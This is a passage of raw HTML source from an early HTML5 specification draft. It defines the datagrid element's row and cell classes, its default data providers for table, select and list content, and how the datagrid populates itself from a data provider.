title=datagrid-cell-class-cyclable><code>cyclable</code></dfn>     <td>Cells     <td>The cell can be cycled through multiple values. (The <code      title=datagrid-cell-class-progress><a      href="#progress1">progress</a></code> class overrides this, though.)    <tr>     <td><!--editable--><dfn id=editable      title=datagrid-cell-class-editable><code>editable</code></dfn>     <td>Cells     <td>The cell can be edited. (The <code      title=datagrid-cell-class-cyclable><a      href="#cyclable">cyclable</a></code>, <code      title=datagrid-cell-class-progress><a      href="#progress1">progress</a></code>, <code      title=datagrid-cell-class-checked><a      href="#checked">checked</a></code>, <code      title=datagrid-cell-class-checked><a      href="#checked">unchecked</a></code> and <code      title=datagrid-cell-class-checked><a      href="#checked">indeterminate</a></code> classes override this,      though.)    <tr>     <td><!--header--><dfn id=header1      title=datagrid-row-class-header><code>header</code></dfn>     <td>Rows     <td>The row is a heading, not a data row.    <tr>     <td><!--indeterminate--><dfn id=indeterminate      title=datagrid-cell-class-indeterminate><code>indeterminate</code></dfn>     <td>Cells     <td>The cell has a checkbox, and it can be set to an indeterminate      state. If neither the <code title=datagrid-cell-class-checked><a      href="#checked">checked</a></code> nor <code      title=datagrid-cell-class-checked><a      href="#checked">unchecked</a></code> classes are present, then the      checkbox is in that state, too. (The <code      title=datagrid-cell-class-cyclable><a      href="#cyclable">cyclable</a></code> and <code      title=datagrid-cell-class-progress><a      href="#progress1">progress</a></code> classes override this, though.)    <tr>     <td><!--initially-hidden--><dfn id=initially-hidden      title=datagrid-column-class-initially-hidden><code>initially-hidden</code></dfn>     <td>Columns     <td>The column will not be shown when the <code><a      href="#datagrid1">datagrid</a></code> is initially rendered. If this      class is not present on the column when the <code><a      href="#datagrid1">datagrid</a></code> is initially rendered, the column      will be visible if space allows.    <tr>     <td><!--initially-closed--><dfn id=initially-closed      title=datagrid-row-class-initially-closed><code>initially-closed</code></dfn>     <td>Rows     <td>The row will be closed when the <code><a      href="#datagrid1">datagrid</a></code> is initially rendered. If neither      this class nor the <code title=datagrid-row-class-initially-open><a      href="#initially-open">initially-open</a></code> class is present on      the row when the <code><a href="#datagrid1">datagrid</a></code> is      initially rendered, the initial state will depend on platform      conventions.    <tr>     <td><!--initially-open--><dfn id=initially-open      title=datagrid-row-class-initially-open><code>initially-open</code></dfn>     <td>Rows     <td>The row will be opened when the <code><a      href="#datagrid1">datagrid</a></code> is initially rendered. If neither      this class nor the <code title=datagrid-row-class-initially-closed><a      href="#initially-closed">initially-closed</a></code> class is present      on the row when the <code><a href="#datagrid1">datagrid</a></code> is      initially rendered, the initial state will depend on platform      conventions.    <tr>     <td><!--progress--><dfn id=progress1      title=datagrid-cell-class-progress><code>progress</code></dfn>     <td>Cells     <td>The cell is a progress bar.    <tr>     <td><!--reversed--><dfn id=reversed      title=datagrid-column-class-reversed><code>reversed</code></dfn>     <td>Columns     <td>If the cell is sorted, the sort direction is descending, instead of      ascending.    <tr>     <td><!--selectable-separator--><dfn id=selectable-separator      title=datagrid-row-class-selectable-separator><code>selectable-separator</code></dfn>     <td>Rows     <td>The row is a normal, selectable, data row, except that instead of      having data, it only has a separator. (The <code      title=datagrid-row-class-header><a href="#header1">header</a></code>      and <code title=datagrid-row-class-separator><a      href="#separator">separator</a></code> classes override this, though.)    <tr>     <td><!--separator--><dfn id=separator      title=datagrid-row-class-separator><code>separator</code></dfn>     <td>Rows     <td>The row is a separator row, not a data row. (The <code      title=datagrid-row-class-header><a href="#header1">header</a></code>      class overrides this, though.)    <tr>     <td><!--sortable--><dfn id=sortable      title=datagrid-column-class-sortable><code>sortable</code></dfn>     <td>Columns     <td>The data can be sorted by this column.    <tr>     <td><!--sorted--><dfn id=sorted      title=datagrid-column-class-sorted><code>sorted</code></dfn>     <td>Columns     <td>The data is sorted by this column. Unless the <code      title=datagrid-column-class-reversed><a      href="#reversed">reversed</a></code> class is also present, the sort      direction is ascending.    <tr>     <td><!--unchecked--><dfn id=unchecked      title=datagrid-cell-class-unchecked><code>unchecked</code></dfn>     <td>Cells     <td>The cell has a checkbox and, unless the <code      title=datagrid-cell-class-checked><a href="#checked">checked</a></code>      class is present as well, it is unchecked. (The <code      title=datagrid-cell-class-cyclable><a      href="#cyclable">cyclable</a></code> and <code      title=datagrid-cell-class-progress><a      href="#progress1">progress</a></code> classes override this, though.)    </tr>    <!--XXXPA   <tr>    <td><!- -deletable- -><dfn title="datagrid-row-class-deletable"><code>deletable</code></dfn></td>    <td>Rows</td>    <td></td>   </tr>-->  </table>  <h5 id=the-default><span class=secno>3.18.2.4. </span>The default data   provider</h5>  <p>The user agent must supply a default data provider for the case where   the <code><a href="#datagrid1">datagrid</a></code>'s <code   title=dom-datagrid-data><a href="#data2">data</a></code> attribute is   null. It must act as described in this section.  <p>The behaviour of the default data provider depends on the nature of the   first element child of the <code><a href="#datagrid1">datagrid</a></code>.  <dl class=switch>   <dt>While the first element child is a <code><a    href="#table0">table</a></code>   <dd>    <p><strong><code title=dom-provider-getRowCount><a     href="#getrowcount">getRowCount(<var     title="">row</var>)</a></code></strong>: The number of rows returned by     the default data provider for the root of the tree (when <var     title="">row</var> is empty) must be the total number of <code><a     href="#tr0">tr</a></code> elements that are children of <code><a     href="#tbody0">tbody</a></code> elements that are children of the     <code><a href="#table0">table</a></code>, if there are any such child     <code><a href="#tbody0">tbody</a></code> elements. If there are no such     <code><a href="#tbody0">tbody</a></code> elements then the number of     rows returned for the root must be the number of <code><a     href="#tr0">tr</a></code> elements that are children of the <code><a     href="#table0">table</a></code>.</p>    <p>When <var title="">row</var> is not empty, the number of rows returned     must be zero.</p>    <p class=note>The <code><a href="#table0">table</a></code>-based default     data provider cannot represent a tree.</p>    <p class=note>Rows in <code><a href="#thead1">thead</a></code> elements     do not contribute to the number of rows returned, although they do     affect the columns and column captions. Rows in <code><a     href="#tfoot1">tfoot</a></code> elements are <a href="#ignored"     title=ignore>ignored</a> completely by this algorithm.</p>    <p id=defaultDataProviderTableMapper><strong><code     title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,     <var title="">i</var>)</a></code></strong>: The default data provider     must return the mapping appropriate to the <a     href="#defaultDataProviderTableSort">current sort order</a>.</p>    <p><strong><code title=dom-provider-getColumnCount><a     href="#getcolumncount">getColumnCount()</a></code></strong>: The number     of columns returned must be the number of <code><a     href="#td0">td</a></code> element children in the first <code><a     href="#tr0">tr</a></code> element child of the first <code><a     href="#tbody0">tbody</a></code> element child of the <code><a     href="#table0">table</a></code>, if there are any such <code><a     href="#tbody0">tbody</a></code> elements. If there are no such <code><a     href="#tbody0">tbody</a></code> elements, then it must be the number of     <code><a href="#td0">td</a></code> element children in the first     <code><a href="#tr0">tr</a></code> element child of the <code><a     href="#table0">table</a></code>, if any, or otherwise 1. If the number     that would be returned by these rules is 0, then 1 must be returned     instead.</p>    <p><strong><code title=dom-provider-getCaptionText><a     href="#getcaptiontext">getCaptionText(<var     title="">i</var>)</a></code></strong>: If the <code><a     href="#table0">table</a></code> has no <code><a     href="#thead1">thead</a></code> element child, or if its first <code><a     href="#thead1">thead</a></code> element child has no <code><a     href="#tr0">tr</a></code> element child, the default data provider must     return the empty string for all captions. Otherwise, the value of the     <code><a href="#textcontent">textContent</a></code> attribute of the     <var title="">i</var>th <code><a href="#th0">th</a></code> element child     of the first <code><a href="#tr0">tr</a></code> element child of the     first <code><a href="#thead1">thead</a></code> element child of the     <code><a href="#table0">table</a></code> element must be returned. If     there is no such <code><a href="#th0">th</a></code> element, the empty     string must be returned.</p>    <p><strong><code title=dom-provider-getCaptionClasses><a     href="#getcaptionclasses">getCaptionClasses(<var title="">i</var>, <var     title="">classes</var>)</a></code></strong>: If the <code><a     href="#table0">table</a></code> has no <code><a     href="#thead1">thead</a></code> element child, or if its first <code><a     href="#thead1">thead</a></code> element child has no <code><a     href="#tr0">tr</a></code> element child, the default data provider must     not add any classes for any of the captions. Otherwise, each class in     the <code title=attr-class><a href="#class6">class</a></code> attribute     of the <var title="">i</var>th <code><a href="#th0">th</a></code>     element child of the first <code><a href="#tr0">tr</a></code> element     child of the first <code><a href="#thead1">thead</a></code> element     child of the <code><a href="#table0">table</a></code> element must be     added to the <var title="">classes</var>. If there is no such <code><a     href="#th0">th</a></code> element, no classes must be added. The user     agent must then:</p>    <ol>     <li>Remove the <code title=datagrid-column-class-sorted><a      href="#sorted">sorted</a></code> and <code      title=datagrid-column-class-reversed><a      href="#reversed">reversed</a></code> classes.     <li>If the <code><a href="#table0">table</a></code> element has a <code      title=attr-class><a href="#class6">class</a></code> attribute that      includes the <code title="">sortable</code> class, add the <code      title=datagrid-column-class-sortable><a      href="#sortable">sortable</a></code> class.     <li>If the column is the one currently being used to sort the data, add      the <code title=datagrid-column-class-sorted><a      href="#sorted">sorted</a></code> class.     <li>If the column is the one currently being used to sort the data, and      it is sorted in descending order, add the <code      title=datagrid-column-class-reversed><a      href="#reversed">reversed</a></code> class as well.    </ol>    <p>The various row- and cell- related methods operate relative to a     particular element, the element of the row or cell specified by their     arguments.</p>    <p><strong>For rows</strong>: Since the default data provider for a     <code><a href="#table0">table</a></code> always returns 0 as the number     of children for any row other than the root, the path to the row passed     to these methods will always consist of a single number. In the prose     below, this number is referred to as <var title="">i</var>.</p>    <p>If the <code><a href="#table0">table</a></code> has <code><a     href="#tbody0">tbody</a></code> element children, the element for the     <var title="">i</var>th row is the <var title="">i</var>th <code><a     href="#tr0">tr</a></code> element that is a child of a <code><a     href="#tbody0">tbody</a></code> element that is a child of the <code><a     href="#table0">table</a></code> element. If the <code><a     href="#table0">table</a></code> does not have <code><a     href="#tbody0">tbody</a></code> element children, then the element for     the <var title="">i</var>th real row is the <var title="">i</var>th     <code><a href="#tr0">tr</a></code> element that is a child of the     <code><a href="#table0">table</a></code> element.</p>    <p><strong>For cells</strong>: Given a row and its element, the row's     <var title="">i</var>th cell's element is the <var title="">i</var>th     <code><a href="#td0">td</a></code> element child of the row element.</p>    <p class=note>The <code>colspan</code> and <code>rowspan</code>     attributes are <a href="#ignored" title=ignore>ignored</a> by this     algorithm.</p>    <p><strong><code title=dom-provider-getRowImage><a     href="#getrowimage">getRowImage(<var     title="">i</var>)</a></code></strong>: If the row's first cell's element     has an <code><a href="#img0">img</a></code> element child, then the URI     of the row's image is the URI of the first <code><a     href="#img0">img</a></code> element child of the row's first cell's     element. Otherwise, the URI of the row's image is the empty string.</p>    <!-- XXX well. that sentence could    have gone better, that's for sure. -->        <p><strong><code title=dom-provider-getRowMenu><a     href="#getrowmenu">getRowMenu(<var     title="">i</var>)</a></code></strong>: If the row's first cell's element     has a <code><a href="#menu0">menu</a></code> element child, then the     row's menu is the first <code><a href="#menu0">menu</a></code> element     child of the row's first cell's element. Otherwise, the row has no menu.</p>    <p><strong><code title=dom-provider-getRowClasses><a     href="#getrowclasses">getRowClasses(<var title="">i</var>, <var     title="">classes</var>)</a></code></strong>: The default data provider     must never add a class to the row's classes.</p>    <p id=defaultDataProviderTableSort><strong><code     title=dom-provider-toggleColumnSortState><a     href="#togglecolumnsortstate">toggleColumnSortState(<var     title="">i</var>)</a></code></strong>: If the data is already being     sorted on the given column, then the user agent must change the current     sort mapping to be the inverse of the current sort mapping; if the sort     order was ascending before, it is now descending, otherwise it is now     ascending. Otherwise, if the current sort column is another column, or     the data model is currently not sorted, the user agent must create a new     mapping, which maps rows in the data model to rows in the DOM so that     the rows in the data model are sorted by the specified column, in     ascending order. (Which sort comparison operator to use is left up to     the UA to decide.)</p>    <p>When the sort mapping is changed, the values returned by the <code     title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition()</a></code> method for     the default data provider <a href="#defaultDataProviderTableMapper">will     change appropriately</a>.</p>    <p><strong><code title=dom-provider-getCellData><a     href="#getcelldata">getCellData(<var title="">i</var>, <var     title="">j</var>)</a></code>, <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses(<var title="">i</var>, <var     title="">j</var>, <var title="">classes</var>)</a></code>, <code     title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">getCellCheckedState(<var title="">i</var>,     <var title="">j</var>, <var title="">state</var>)</a></code>, <code     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell(<var     title="">i</var>, <var title="">j</var>)</a></code>, and <code     title=dom-provider-editCell><a href="#editcell">editCell(<var     title="">i</var>, <var title="">j</var>, <var     title="">data</var>)</a></code></strong>: See <a     href="#commonDefaultDataGridMethodDefinitions">the common definitions     below</a>.</p>    <p>The data provider must call the <code><a     href="#datagrid1">datagrid</a></code>'s update methods appropriately     whenever the descendants of the <code><a     href="#datagrid1">datagrid</a></code> mutate. For example, if a <code><a     href="#tr0">tr</a></code> is removed, then the <code     title=dom-datagrid-updateRowsRemoved><a     href="#updaterowsremoved">updateRowsRemoved()</a></code> methods would     probably need to be invoked, and any change to a cell or its descendants     must cause the cell to be updated. If the <code><a     href="#table0">table</a></code> element stops being the first child of     the <code><a href="#datagrid1">datagrid</a></code>, then the data     provider must call the <code title=dom-datagrid-updateEverything><a     href="#updateeverything">updateEverything()</a></code> method on the     <code><a href="#datagrid1">datagrid</a></code>. Any change to a cell     that is in the column that the data provider is currently using as its     sort column must also cause the sort to be reperformed, with a call to     <code title=dom-datagrid-updateEverything><a     href="#updateeverything">updateEverything()</a></code> if the change did     affect the sort order.</p>   <dt>While the first element child is a <code>select</code>   <dd>    <p>The default data provider must return 1 for the column count, the     empty string for the column's caption, and must not add any classes to     the column's classes.</p>    <p>For the rows, assume the existence of a node filter view of the     descendants of the first <code>select</code> element child of the     <code><a href="#datagrid1">datagrid</a></code> element, that skips all     nodes other than <code>optgroup</code> and <code>option</code> elements,     as well as any descendents of any <code>option</code> elements.</p>    <p>Given a path <var title="">row</var>, the corresponding element is the     one obtained by drilling into the view, taking the child given by the     path each time.</p>    <div class=example>     <p>Given the following XML markup:</p>     <pre>AMPERSANDlt;datagrid> AMPERSANDlt;select>  AMPERSANDlt;!-- the options and optgroups have had their labels and values removed       to make the underlying structure clearer -->  AMPERSANDlt;optgroup>   AMPERSANDlt;option/>   AMPERSANDlt;option/>  AMPERSANDlt;/optgroup>  AMPERSANDlt;optgroup>   AMPERSANDlt;option/>   AMPERSANDlt;optgroup id="a">    AMPERSANDlt;option/>    AMPERSANDlt;option/>    AMPERSANDlt;bogus/>    AMPERSANDlt;option id="b"/>   AMPERSANDlt;/optgroup>   AMPERSANDlt;option/>  AMPERSANDlt;/optgroup> AMPERSANDlt;/select>AMPERSANDlt;/datagrid></pre>     <p>The path "1,1,2" would select the element with ID "b". In the      filtered view, the text nodes, comment nodes, and bogus elements are      ignored; so for instance, the element with ID "a" (path "1,1") has only      3 child nodes in the view.</p>    </div>    <p><code title=dom-provider-getRowCount><a     href="#getrowcount">getRowCount(<var title="">row</var>)</a></code> must     drill through the view to find the element corresponding to the method's     argument, and return the number of child nodes in the filtered view that     the corresponding element has. (If the <var title="">row</var> is empty,     the corresponding element is the <code>select</code> element at the root     of the filtered view.)</p>    <p><code title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,     <var title="">position</var>)</a></code> must return <var     title="">position</var>. (The <code>select</code> default data provider     does not support sorting the data grid.)</p>    <p><code title=dom-provider-getRowImage><a     href="#getrowimage">getRowImage(<var title="">i</var>)</a></code> must     return the empty string, <code title=dom-provider-getRowMenu><a     href="#getrowmenu">getRowMenu(<var title="">i</var>)</a></code> must     return null.</p>    <p><code title=dom-provider-getRowClasses><a     href="#getrowclasses">getRowClasses(<var title="">row</var>, <var     title="">classes</var>)</a></code> must add the classes from the     following list to <var title="">classes</var> when their condition is     met:</p>    <ul>     <li>If the <var title="">row</var>'s corresponding element is an      <code>optgroup</code> element: <code title=datagrid-row-class-header><a      href="#header1">header</a></code>     <li>If the <var title="">row</var>'s corresponding element contains      other elements that are also in the view, and the element's <code      title=attr-class><a href="#class6">class</a></code> attribute contains      the <code title="">closed</code> class: <code      title=datagrid-row-class-initially-closed><a      href="#initially-closed">initially-closed</a></code>     <li>If the <var title="">row</var>'s corresponding element contains      other elements that are also in the view, and the element's <code      title=attr-class><a href="#class6">class</a></code> attribute contains      the <code title="">open</code> class: <code      title=datagrid-row-class-initially-open><a      href="#initially-open">initially-open</a></code>    </ul>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData(<var title="">row</var>, <var     title="">cell</var>)</a></code> method must return the value of the     <code title=attr-optgroup-label>label</code> attribute if the <var     title="">row</var>'s corresponding element is an <code>optgroup</code>     element, otherwise, if the <var title="">row</var>'s corresponding     element is an <code>option</code>element, its <code     title=attr-option-label>label</code> attribute if it has one, otherwise     the value of its <code><a href="#textcontent">textContent</a></code> DOM     attribute.</p>    <p>The <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses(<var title="">row</var>, <var     title="">cell</var>, <var title="">classes</var>)</a></code> method must     add no classes.</p>    <p class=big-issue><!-- select-provider-selection    XXX-->autoselect     some rows when initialised, reflect the selection in the select, reflect     the multiple attribute somehow.</p>    <p>The data provider must call the <code><a     href="#datagrid1">datagrid</a></code>'s update methods appropriately     whenever the descendants of the <code><a     href="#datagrid1">datagrid</a></code> mutate.</p>   <dt>While the first element child is another element   <dd>    <p>The default data provider must return 1 for the column count, the     empty string for the column's caption, and must not add any classes to     the column's classes.</p>    <p>For the rows, assume the existence of a node filter view of the     descendants of the <code><a href="#datagrid1">datagrid</a></code> that     skips all nodes other than <code><a href="#li0">li</a></code>, <code><a     href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, and     <code><a href="#hr0">hr</a></code> elements, and skips any descendants     of <code><a href="#menu0">menu</a></code> elements.</p>    <p>Given this view, each element in the view represents a row in the data     model. The element corresponding to a path <var title="">row</var> is     the one obtained by drilling into the view, taking the child given by     the path each time. The element of the row of a particular method call     is the element given by drilling into the view along the path given by     the method's arguments.</p>    <p><code title=dom-provider-getRowCount><a     href="#getrowcount">getRowCount(<var title="">row</var>)</a></code> must     return the number of child elements in this view for the given row, or     the number of elements at the root of the view if the <var     title="">row</var> is empty.</p>    <div class=example>     <p>In the following example, the elements are identified by the paths      given by their child text nodes:</p>     <pre>AMPERSANDlt;datagrid> AMPERSANDlt;ol>  AMPERSANDlt;li> row 0 AMPERSANDlt;/li>  AMPERSANDlt;li> row 1   AMPERSANDlt;ol>    AMPERSANDlt;li> row 1,0 AMPERSANDlt;/li>   AMPERSANDlt;/ol>  AMPERSANDlt;/li>  AMPERSANDlt;li> row 2 AMPERSANDlt;/li> AMPERSANDlt;/ol>AMPERSANDlt;/datagrid></pre>     <p>In this example, only the <code><a href="#li0">li</a></code> elements      actually appear in the data grid; the <code><a      href="#ol0">ol</a></code> element does not affect the data grid's      processing model.</p>    </div>    <p><code title=dom-provider-getChildAtPosition><a     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,     <var title="">position</var>)</a></code> must return <var     title="">position</var>. (The generic default data provider does not     support sorting the data grid.)</p>    <p><code title=dom-provider-getRowImage><a     href="#getrowimage">getRowImage(<var title="">i</var>)</a></code> must     return the URI of the image given by the first <code><a     href="#img0">img</a></code> element descendant (in the real DOM) of the     row's element, that is not also a descendant of another element in the     filtered view that is a descendant of the row's element.</p>    <div class=example>     <p>In the following example, the row with path "1,0" returns      "http://example.com/a" as its image URI, and the other rows (including      the row with path "1") return the empty string:</p>     <pre>AMPERSANDlt;datagrid> AMPERSANDlt;ol>  AMPERSANDlt;li> row 0 AMPERSANDlt;/li>  AMPERSANDlt;li> row 1   AMPERSANDlt;ol>    AMPERSANDlt;li> row 1,0 AMPERSANDlt;img src="http://example.com/a" alt=""> AMPERSANDlt;/li>   AMPERSANDlt;/ol>  AMPERSANDlt;/li>  AMPERSANDlt;li> row 2 AMPERSANDlt;/li> AMPERSANDlt;/ol>AMPERSANDlt;/datagrid></pre>    </div>    <p><code title=dom-provider-getRowMenu><a     href="#getrowmenu">getRowMenu(<var title="">i</var>)</a></code> must     return the first <code><a href="#menu0">menu</a></code> element     descendant (in the real DOM) of the row's element, that is not also a     descendant of another element in the filtered view that is a decsendant     of the row's element. (This is analogous to the image case above.)</p>    <p><code title=dom-provider-getRowClasses><a     href="#getrowclasses">getRowClasses(<var title="">i</var>, <var     title="">classes</var>)</a></code> must add the classes from the     following list to <var title="">classes</var> when their condition is     met:</p>    <ul>     <li>If the row's element contains other elements that are also in the      view, and the element's <code title=attr-class><a      href="#class6">class</a></code> attribute contains the <code      title="">closed</code> class: <code      title=datagrid-row-class-initially-closed><a      href="#initially-closed">initially-closed</a></code>     <li>If the row's element contains other elements that are also in the      view, and the element's <code title=attr-class><a      href="#class6">class</a></code> attribute contains the <code      title="">open</code> class: <code      title=datagrid-row-class-initially-open><a      href="#initially-open">initially-open</a></code>     <li>If the row's element is an <code><a      href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element:      <code title=datagrid-row-class-header><a      href="#header1">header</a></code>     <li>If the row's element is an <code><a href="#hr0">hr</a></code>      element: <code title=datagrid-row-class-separator><a      href="#separator">separator</a></code></li>     <!--     XXX no way to get selectable-separator -->    </ul>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData(<var title="">i</var>, <var     title="">j</var>)</a></code>, <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses(<var title="">i</var>, <var     title="">j</var>, <var title="">classes</var>)</a></code>, <code     title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">getCellCheckedState(<var title="">i</var>,     <var title="">j</var>, <var title="">state</var>)</a></code>, <code     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell(<var     title="">i</var>, <var title="">j</var>)</a></code>, and <code     title=dom-provider-editCell><a href="#editcell">editCell(<var     title="">i</var>, <var title="">j</var>, <var     title="">data</var>)</a></code> methods must act as described in <a     href="#commonDefaultDataGridMethodDefinitions">the common definitions     below</a>, treating the row's element as being the cell's element.</p>    <p class=big-issue id=generic-provider-selection>selection handling?</p>    <p>The data provider must call the <code><a     href="#datagrid1">datagrid</a></code>'s update methods appropriately     whenever the descendants of the <code><a     href="#datagrid1">datagrid</a></code> mutate.</p>   <dt>Otherwise, while there is no element child   <dd>    <p>The data provider must return 0 for the number of rows, 1 for the     number of columns, the empty string for the first column's caption, and     must add no classes when asked for that column's classes. If the     <code><a href="#datagrid1">datagrid</a></code>'s child list changes such     that there is a first element child, then the data provider must call     the <code title=dom-datagrid-updateEverything><a     href="#updateeverything">updateEverything()</a></code> method on the     <code><a href="#datagrid1">datagrid</a></code>.</p>  </dl>  <h6 id=commonDefaultDataGridMethodDefinitions><span class=secno>3.18.2.4.1.   </span>Common default data provider method definitions for cells</h6>  <p>These definitions are used for the cell-specific methods of the default   data providers (other than in the <code>select</code> case). How they   behave is based on the contents of an element that represents the cell   given by their first two arguments. Which element that is is defined in   the previous section.  <dl>   <dt>Cyclable cells   <dd>    <p>If the first element child of a cell's element is a     <code>select</code> element that has a no <code     title=attr-select-multiple>multiple</code> attribute and has at least     one <code>option</code> element descendent, then the cell acts as a     cyclable cell.</p>    <p>The "current" <code>option</code> element is the selected     <code>option</code> element, or the first <code>option</code> element if     none is selected.</p>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData()</a></code> method must return the     <code><a href="#textcontent">textContent</a></code> of the current     <code>option</code> element (the <code     title=attr-option-label>label</code> attribute is <a href="#ignored"     title=ignore>ignored</a> in this context as the <code>optgroup</code>s     are not displayed).</p>    <p>The <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses()</a></code> method must add the     <code title=datagrid-cell-class-cyclable><a     href="#cyclable">cyclable</a></code> class and then all the classes of     the current <code>option</code> element.</p>    <p>The <code title=dom-provider-cycleCell><a     href="#cyclecell">cycleCell()</a></code> method must change the     selection of the <code>select</code> element such that the next     <code>option</code> element after the current <code>option</code>     element is the only one that is selected (in <a href="#tree-order">tree     order</a>). If the current <code>option</code> element is the last     <code>option</code> element descendent of the <code>select</code>, then     the first <code>option</code> element descendent must be selected     instead.</p>    <p>The <code title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">setCellCheckedState()</a></code> and <code     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>     methods must do nothing.</p>   <dt>Progress bar cells   <dd>    <p>If the first element child of a cell's element is a <code><a     href="#progress0">progress</a></code> element, then the cell acts as a     progress bar cell.</p>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData()</a></code> method must return the     value returned by the <code><a href="#progress0">progress</a></code>     element's <code title=dom-progress-position><a     href="#position">position</a></code> DOM attribute.</p>    <p>The <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses()</a></code> method must add the     <code title=datagrid-cell-class-progress><a     href="#progress1">progress</a></code> class.</p>    <p>The <code title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">setCellCheckedState()</a></code>, <code     title=dom-provider-cycleCell><a     href="#cyclecell">cycleCell()</a></code>, and <code     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>     methods must do nothing.</p>   <dt>Checkbox cells   <dd>    <p>If the first element child of a cell's element is an     <code>input</code> element that has a <code     title=attr-input-type>type</code> attribute with the value <code     title="">checkbox</code>, then the cell acts as a check box cell.</p>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData()</a></code> method must return the     <code><a href="#textcontent">textContent</a></code> of the cell element.</p>    <p>The <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses()</a></code> method must add the     <code title=datagrid-cell-class-checked><a     href="#checked">checked</a></code> class if the <code>input</code>     element is <span title=dom-input-checked>checked</span>, and the <code     title=datagrid-cell-class-unchecked><a     href="#unchecked">unchecked</a></code> class otherwise.</p>    <p>The <code title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">setCellCheckedState()</a></code> method must     set the <code>input</code> element's checkbox <span     title=dom-input-checked>state</span> to checked if the method's third     argument is 1, and to unchecked otherwise.</p>    <p>The <code title=dom-provider-cycleCell><a     href="#cyclecell">cycleCell()</a></code> and <code     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>     methods must do nothing.</p>   <dt>Editable cells   <dd>    <p>If the first element child of a cell's element is an     <code>input</code> element that has a <code     title=attr-input-type>type</code> attribute with the value <code     title="">text</code> or that has no <code     title=attr-input-type>type</code> attribute at all, then the cell acts     as an editable cell.</p>    <p>The <code title=dom-provider-getCellData><a     href="#getcelldata">getCellData()</a></code> method must return the     <code title=dom-input-value>value</code> of the <code>input</code>     element.</p>    <p>The <code title=dom-provider-getCellClasses><a     href="#getcellclasses">getCellClasses()</a></code> method must add the     <code title=datagrid-cell-class-editable><a     href="#editable">editable</a></code> class.</p>    <p>The <code title=dom-provider-editCell><a     href="#editcell">editCell()</a></code> method must set the     <code>input</code> element's <code title=dom-input-value>value</code>     DOM attribute to the value of the third argument to the method.</p>    <p>The <code title=dom-provider-setCellCheckedState><a     href="#setcellcheckedstate">setCellCheckedState()</a></code> and <code     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell()</a></code>     methods must do nothing.</p>  </dl>  <!-- XXX Calculated cells, like in spreadsheets? -->  <h5 id=populating><span class=secno>3.18.2.5. </span>Populating the   <code><a href="#datagrid1">datagrid</a></code> element</h5>  <p>A <code><a href="#datagrid1">datagrid</a></code> must be disabled until   its end tag has been parsed (in the case of a <code><a   href="#datagrid1">datagrid</a></code> element in the original document   markup) or until it has been inserted into the document (in the case of a   dynamically created element). After that point, the element must fire a   single <code title=event-load>load</code> event at itself, which doesn't   bubble and cannot be canceled.  <p class=big-issue>The end-tag parsing thing should be moved to the parsing   section.  <p>The <code><a href="#datagrid1">datagrid</a></code> must then populate   itself using the data provided by the data provider assigned to the <code   title=dom-datagrid-data><a href="#data2">data</a></code> DOM attribute.   After the view is populated (using the methods described below), the   <code><a href="#datagrid1">datagrid</a></code> must invoke the <code   title=dom-provider-initialize><a   href="#initialize">initialize()</a></code> method on the data provider   specified by the <code title=dom-datagrid-data><a   href="#data2">data</a></code> attribute, passing itself (the <code><a   href="#htmldatagridelement">HTMLDataGridElement</a></code> object) as the   only argument.  <p>When the <code title=dom-datagrid-data><a href="#data2">data</a></code>   attribute is null, the <code><a href="#datagrid1">datagrid</a></code> must   use the default data provider described in the previous section.  <p>To obtain data from the data provider, the element must invoke methods   on the data provider object in the following ways:  <dl>   <dt>To determine the total number of columns   <dd>Invoke the <code title=dom-provider-getColumnCount><a    href="#getcolumncount">getColumnCount()</a></code> method with no    arguments. The return value is the number of columns. If the return value    is zero or negative, not an integer, or simply not a numeric type, or if    the method is not defined, then 1 must be used instead.   <dt>To get the captions to use for the columns   <dd>Invoke the <code title=dom-provider-getCaptionText><a    href="#getcaptiontext">getCaptionText()</a></code> method with the index    of the column in question. The index <var title="">i</var> must be in the    range 0 AMPERSANDle; <var title="">i</var> AMPERSANDlt; <var title="">N</var>, where <var    title="">N</var> is the total number of columns. The return value is the    string to use when referring to that column. If the method returns null    or the empty string, the column has no caption. If the method is not    defined, then none of the columns have any captions.   <dt>To establish what classes apply to a column   <dd>Invoke the <code title=dom-provider-getCaptionClasses><a    href="#getcaptionclasses">getCaptionClasses()</a></code> method with the    index of the column in question, and an object implementing the <code><a    href="#domtokenstring0">DOMTokenString</a></code> interface, initialised    to empty. The index <var title="">i</var> must be in the range 0 AMPERSANDle;    <var title="">i</var> AMPERSANDlt; <var title="">N</var>, where <var    title="">N</var> is the total number of columns. The values contained in    the <code><a href="#domtokenstring0">DOMTokenString</a></code> object    when the method returns represent the classes that apply to the given    column. If the method is not defined, no classes apply to the column.   <dt>To establish whether a column should be initially included in the    visible columns   <dd>Check whether the <code    title=datagrid-column-class-initially-hidden><a    href="#initially-hidden">initially-hidden</a></code> class applies to the    column. If it does, then the column should not be initially included; if    it does not, then the column should be initially included.   <dt id=columnType2>To establish whether the 